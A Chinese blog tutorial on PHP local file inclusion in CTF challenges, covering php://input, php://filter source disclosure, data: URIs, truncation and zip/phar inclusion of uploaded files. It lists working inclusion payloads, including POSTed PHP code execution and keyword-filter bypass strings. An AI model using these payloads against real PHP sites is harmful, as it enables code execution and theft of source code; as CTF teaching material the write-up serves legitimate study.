php filter 文件包含,CTF中文件包含的一些技巧

前言

文件包含在 CTF 比赛也是常考的一个点,这里对一些包含点的原理、特征进行一些总结,并结合实际的例子来讲解如何绕过。

php伪协议的分类

伪协议是文件包含的基础,理解伪协议的的原理才能更好的利用文件包含漏洞。

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。

使用条件:include()、include_once()、file_get_contents()

比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法举例

使用 file_get_contents 函数的伪协议包含有个经典的例子:

8516c0032cf0b4bda1e21ed758706551.gif

可以使用fputs文件输入流直接服务器某一存在的目录下写入文件

e2c5616cf5569f5f51f0e8b0596f254c.gif

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://filter(重点)

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用,也就是他作为一种过滤器,可以使用在数据流产生的地方。

如:readfile()、 file() 和 file_get_contents()、include()

在php文档中,标准的定义是这样的:

17a11e53fb4f35f2d93f507cdc736c2d.gif

fb59092d8f1e0019fd17d3bbef26b6dc.gif

类似的过滤器还有 string.rot13、string.strip_tags、zlib.deflate和 zlib.inflate 等等,目前只要知道 convert.base64-encode 就好了。

URL 中包含点的常见形式

?file = xxx 或者 ?file = xxx.php

http://www.example.com/index.php?filename=login

那么源码中的写法:

include($file.'php') 或者 include($file)

这里直接使用伪协议包含:

?file = php://filter/read=convert.base64-encode/resource=login

?action = xxx & mode = xxx

这里形式就是文件夹加上文件名的方法。

http://www.example.com/index.php?action=front&mode=login

那么源码中的写法:

include($action.'/'.$mode.'.php');

那么对于这种情况使用的伪协议包含形式:

?action=php://filter/read=convert.base64-encode/resource=./&mode=login

allow_url_fopen 和 allow_url_include

在测试了包含点存在包含漏洞以后,并不是都可以使用 filter 伪协议包含出源码的,因为 allow_url_fopen 和 allow_url_include 会影响到 fopen 等等和 include 等等函数对于伪协议的支持

allow_url_include 影响 php://input的使用,若不打开则无法使用。

当 allow_url_fopen 打开时,可以包含任意 url

例如只打开 allow_url_include 时,只能包含远程文件和使用 php://input

f927f2aee25b702af903c12782b0d62f.gif

举个例子:

题目链接:

http://level3.tasteless.eu/

题目直接给出了源码:

294c8ee12ce13fd90184b07f19903639.gif

根据提示,用php://input 伪协议读取php.ini

GET: ?file=php://input,POST: <?php phpinfo();?>

找到SERVER[zxsq-anti-bbcode-"DOCUMENT_ROOT"],也就是网站的根目录,可以找到当前脚本的目录,如下:

134a0f5638ae6c44d754ccaaa3d12004.gif

还可以看到一些文件包含的配置:

rfi是关闭的,也就是 allow_url_fopen 为 Off

allow_url_include 开启,可以使用 php://input 伪协议来列出当前目录下的文件

payload:

GET:

?file=php://input

POST:

<?php print_r(scandir('/var/www/chall/level3'));?>

(scandir 函数会将当先目录下的目录结构以数组的方式保存)

绕过 waf 的方法

字典绕过

在一些 CTF 中会对一些伪协议的关键词进行过滤,如 read、resource 等等,下面总结了几条绕过方法,在实战中时候在作为字典来跑。

?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)

?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)

?f=data:text/plain,<?php phpinfo()?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

这里说一下第二条,这是 2018 ISCC 中的一道题目的绕过方法

6780f8bf08c6bda16c8efab1a901b580.gif

这里用正则匹配了resource=,我们就可以用重写的方法来绕过正则。

截断包含

00截断

这里技巧现在应该是用的比较少了,因为利用截断要满足下面的两个条件:

php 版本小于5.3.4

magic_quotes_gpc 为 off

./ 截断

点号和路径截断以及./截断,也就是填充大量的./使 url 长度超过最大值,来达到截断的目的

具体可以看下面的文章:

https://blog.csdn.net/zvall/article/details/8951925

zip 协议和 phar协议

在实战过程中,若发现存在文件上传但是没有办法直接上传 php 文件,但是可以传 zip 压缩文件,我们就可以利用这两个协议,将 php 文件打包成 zip 文件来包含里面的 php 脚本

phar://、zip://,都可以看到在phpinfo中都有相应的描述

例如脚本文件为 1.php,打包成 1.zip,然后再改名为 1.jpg,上传之后包含 1.jpg 中的 php 文件即可。

zip://..(当前脚本的绝对路径).../1.jpg#1.php

phar://...(当前脚本的绝对路径).../1.jpg/1(分割不加后缀名)

其他骚姿势

在安全客上我写过一篇文件是利用 php 自包含特性达到上传 webshell 的效果,感兴趣可以看看。文章链接:

参考文章

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值